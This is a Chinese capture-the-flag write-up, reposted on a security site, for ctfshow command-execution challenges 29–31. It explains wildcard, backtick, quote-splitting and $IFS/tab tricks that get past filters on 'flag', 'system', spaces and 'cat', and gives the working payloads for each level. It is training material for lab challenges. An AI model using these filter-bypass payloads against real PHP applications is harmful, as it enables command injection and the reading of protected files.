ctfshow web入门 命令执行部分(29-31)

admin 2022年1月5日22:52:51评论44 views字数 1067阅读3分33秒阅读模式

>

>

ctfshow web入门 命令执行部分(29-31)

_yu_

大佬请自行忽略讲解部分,讲解针对新手。知识点源自payload的构造。大部分flag需要右键查看源码获得

29

知识点:通配符

payload:c=system('cat f*');
在linux系统中 有一些通配符

*	匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
?	匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd]	匹配abcd中任何一个字符
[a-z]	表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

我们想要执行 cat flag.php,但是flag被过滤了,这时候就可以使用通配符
cat f*表示打开当前目录下所有 f开头的文件

再补充一下:
对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
比如 c=system('ca\t fla\g.php');

30

知识点:反引号执行系统命令

payload:c=echo `cat f*`;

因为过滤了system,我们就得选择其他的命令执行函数了
常见的有如下几个,其中system是有回显的,其他的就得需要我们自行输出。调用echo或者其他输出函数即可。

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

31

知识点:空格过滤+cat过滤绕过

payload:c=echo(`more%09f*`);
在linux 空格可以用以下字符串代替:

%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等

在使用带有$的内容替换时,要注意转义,因为\$在php中有特殊含义
![在这里插入图片描述](http://cn-sec.com/wp-content/uploads/2022/01/20220105145250-50.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L21pdXp6eA==,size_16,color_FFFFFF,t_70#pic_center)
在linux中与cat有类似功能的有如下字符
`cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev`
找到一个替换的即可。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日22:52:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ctfshow web入门 命令执行部分(29-31)http://cn-sec.com/archives/719468.html

发表评论

匿名网友 填写信息